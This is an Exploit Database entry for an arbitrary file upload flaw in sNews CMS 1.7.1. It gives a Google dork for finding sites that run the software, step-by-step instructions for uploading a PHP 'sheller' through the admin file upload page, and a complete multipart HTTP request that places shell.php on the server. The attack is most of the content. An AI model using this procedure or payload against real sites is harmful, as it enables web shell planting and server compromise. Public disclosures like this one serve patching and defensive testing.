

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

sNews 1.7.1 - Arbitrary File Upload

EDB-ID:

40706

CVE:

N/A

EDB Verified: 

Author:

[AMIR.GHT](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2016-11-03

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title : Snews CMS upload sheller
# Author : Ashiyane Digital Security Team
# Google Dork : "This site is powered by sNews"
# Date : 04/11/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://snewscms.com/
# Software link : http://snewscms.com/download/snews1.7.1.zip
# Version : 1.7(latest)
#####3
need admin access for upload files but we can upload any file without
bypass(.php,.exe,....)
1-goto http://SiteName/snews_files/
2- click on Browse botton and select you`re file
3- click on upload
sheller path is :
http://SiteName/shell.php
```

```
poc url:
http://localhost/snews_files/
```

Poc header:

```
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/snews_files/
Cookie: PHPSESSID=am9ffv1sg2kjkfnaku69tfgsu5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=-----92741037415004
Content-Length: 665

-----92741037415004\r\n
Content-Disposition: form-data; name="upload_dir"\r\n
\r\n
.\r\n
-----92741037415004\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/\r\n
\r\n
<?php phpinfo ?><br>\r\n
-----92741037415004\r\n
Content-Disposition: form-data; name="ip"\r\n
\r\n
127.0.0.1\r\n
-----92741037415004\r\n
Content-Disposition: form-data; name="time"\r\n
\r\n
1478199661\r\n
-----92741037415004\r\n
Content-Disposition: form-data; name="upload"\r\n
\r\n
Upload\r\n
-----92741037415004--\r\n
```

Tags:

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.